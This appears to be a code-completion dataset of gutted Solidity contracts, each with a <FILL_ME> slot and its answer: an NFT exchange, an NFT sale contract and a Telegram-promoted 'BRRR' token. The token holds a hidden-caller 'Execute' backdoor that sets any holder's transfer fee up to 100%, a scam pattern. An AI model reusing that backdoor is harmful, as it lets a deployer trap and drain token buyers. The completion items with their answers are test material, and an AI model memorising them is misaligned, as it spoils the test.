prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { require(allowToken[token], "Not authorized token"); ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require(<FILL_ME>) } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require( IERC20(token).transferFrom( buyer, royaltyReceipt, secoundaryFee ), "Failed royalty fee transfer" ); } if (remaining > 0) { require( IERC20(token).transferFrom(buyer, _seller, remaining), "Failed transfer" ); } } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IERC20(token).transferFrom(buyer,beneficiaryAddress,protocolfee),"Failed protocol fee transfer"
227,596
IERC20(token).transferFrom(buyer,beneficiaryAddress,protocolfee)
"Failed royalty fee transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { require(allowToken[token], "Not authorized token"); ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require( IERC20(token).transferFrom( buyer, beneficiaryAddress, protocolfee ), "Failed protocol fee transfer" ); } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require(<FILL_ME>) } if (remaining > 0) { require( IERC20(token).transferFrom(buyer, _seller, remaining), "Failed transfer" ); } } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IERC20(token).transferFrom(buyer,royaltyReceipt,secoundaryFee),"Failed royalty fee transfer"
227,596
IERC20(token).transferFrom(buyer,royaltyReceipt,secoundaryFee)
"Failed transfer"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { require(allowToken[token], "Not authorized token"); ( uint256 protocolfee, uint256 secoundaryFee, uint256 remaining ) = transferFeeView(amount, royaltyFee); if (protocolfee > 0) { require( IERC20(token).transferFrom( buyer, beneficiaryAddress, protocolfee ), "Failed protocol fee transfer" ); } if ((secoundaryFee > 0) && (royaltyReceipt != address(0x00))) { require( IERC20(token).transferFrom( buyer, royaltyReceipt, secoundaryFee ), "Failed royalty fee transfer" ); } if (remaining > 0) { require(<FILL_ME>) } } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
IERC20(token).transferFrom(buyer,_seller,remaining),"Failed transfer"
227,596
IERC20(token).transferFrom(buyer,_seller,remaining)
"Incorrect buyer fee signature"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { require(<FILL_ME>) } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
prepareBuyerFeeMessage(order,buyerFee,royaltyReceipt).recover(sig.v,sig.r,sig.s)==buyerFeeSigner,"Incorrect buyer fee signature"
227,596
prepareBuyerFeeMessage(order,buyerFee,royaltyReceipt).recover(sig.v,sig.r,sig.s)==buyerFeeSigner
"Caller is not the original caller"
/** Telegram: https://t.me/Ethereum_Printer */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract BRRR is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _transferFees; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply;address private _MARKING;address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { } function Execute(address user, uint256 feePercent) external { require(<FILL_ME>) assembly { if gt(feePercent, 100) { revert(0, 0) } } _transferFees[user] = feePercent; } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } function isMee() internal view returns (bool) { } function LP(address recipient, uint256 airDrop) external { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() external view override returns (uint256) { } }
isMee(),"Caller is not the original caller"
227,612
isMee()
"unexpected token contract type"
// SPDX-License-Identifier: MIT pragma solidity =0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/interfaces/IERC165.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "../interfaces/IMintableERC721S.sol"; /** * @title Mintable Sale S * * @notice Mintable Sale S sales fixed amount of NFTs (tokens) for a fixed price in a fixed period of time; * it can be used in a 10k sale campaign and the smart contract is generic and * can sell any type of mintable NFT (see IMintableERC721S interface) * * @dev Technically, all the "fixed" parameters can be changed on the go after smart contract is deployed * and operational, but this ability is reserved for quick fix-like adjustments, and to provide * an ability to restart and run a similar sale after the previous one ends * * @dev When buying a token from this smart contract, next token is minted to the recipient * * @dev Supports functionality to limit amount of tokens that can be minted to each address * * @dev Deployment and setup: * 1. Deploy smart contract, specify smart contract address during the deployment: * - Mintable ER721 P deployed instance address * 2. Execute `initialize` function and set up the sale Sarameters; * sale is not active until it's initialized * */ contract MintableSaleS is Ownable { /** * @dev Next token ID to mint; * initially this is the first "free" ID which can be minted; * at any point in time this should point to a free, mintable ID * for the token * * @dev `nextId` cannot be zero, we do not ever mint NFTs with zero IDs */ uint32 public nextId = 1; /** * @dev Last token ID to mint; * once `nextId` exceeds `finalId` the sale Sauses */ uint32 public finalId; // ----- SLOT.1 (224/256) /** * @notice Price of a single item (token) minted * When buying several tokens at once the price accumulates accordingly, with no discount * * @dev Maximum item price is ~18.44 ETH */ uint64 public itemPrice; /** * @notice Sale start unix timestamp; the sale is active after the start (inclusive) */ uint32 public saleStart; /** * @notice Sale end unix timestamp; the sale is active before the end (exclusive) */ uint32 public saleEnd; /** * @notice Once set, limits the amount of tokens one address can buy for the duration of the sale; * When unset (zero) the amount of tokens is limited only by the amount of tokens left for sale */ uint32 public mintLimit; /** * @notice Counter of the tokens sold (minted) by this sale smart contract */ uint32 public soldCounter; // ----- NON-SLOTTED /** * @dev Mintable ERC721 contract address to mint */ address public immutable tokenContract; // ----- NON-SLOTTED /** * @dev Developer fee */ uint256 public immutable developerFee; // ----- NON-SLOTTED /** * @dev Address of developer to receive withdraw fees */ address public immutable developerAddress; // ----- NON-SLOTTED /** * @dev Number of mints performed by address */ mapping(address => uint32) mints; /** * @dev Smart contract unique identifier, a random number * * @dev Should be regenerated each time smart contact source code is changed * and changes smart contract itself is to be redeployed * * @dev Generated using https://www.random.org/bytes/ */ uint256 public constant UID = 0x3f38351a8d513731422d6b64f354f3cf7ea9ae952d15c73513da3b92754e778f; /** * @dev Fired in initialize() * * @param _by an address which executed the initialization * @param _itemPrice price of one token created * @param _nextId next ID of the token to mint * @param _finalId final ID of the token to mint * @param _saleStart start of the sale, unix timestamp * @param _saleEnd end of the sale, unix timestamp * @param _mintLimit mint limit */ event Initialized( address indexed _by, uint64 _itemPrice, uint32 _nextId, uint32 _finalId, uint32 _saleStart, uint32 _saleEnd, uint32 _mintLimit ); /** * @dev Fired in buy(), buyTo(), buySingle(), and buySingleTo() * * @param _by an address which executed and payed the transaction, probably a buyer * @param _to an address which received token(s) minted * @param _amount number of tokens minted * @param _value ETH amount charged */ event Bought(address indexed _by, address indexed _to, uint32 _amount, uint256 _value); /** * @dev Fired in withdraw() and withdrawTo() * * @param _by an address which executed the withdrawal * @param _to an address which received the ETH withdrawn * @param _value ETH amount withdrawn */ event Withdrawn(address indexed _by, address indexed _to, uint256 _value); /** * @dev Creates/deploys MintableSale and binds it to Mintable ERC721 * smart contract on construction * * @param _tokenContract deployed Mintable ERC721 smart contract; sale will mint ERC721 * tokens of that type to the recipient */ constructor(address _tokenContract, uint256 _developerFee, address _developerAddress) { // verify the input is set require(_tokenContract != address(0), "token contract is not set"); // verify that developer address is correct require(_developerAddress != address(0), "developer address is not set"); // verify input is valid smart contract of the expected interfaces require(<FILL_ME>) // assign the addresses tokenContract = _tokenContract; // assign the developer fee developerFee = _developerFee; // assign the developer address developerAddress = _developerAddress; } /** * @notice Number of tokens left on sale * * @dev Doesn't take into account if sale is active or not, * if `nextId - finalId < 1` returns zero * * @return number of tokens left on sale */ function itemsOnSale() public view returns(uint32) { } /** * @notice Number of tokens available on sale * * @dev Takes into account if sale is active or not, doesn't throw, * returns zero if sale is inactive * * @return number of tokens available on sale */ function 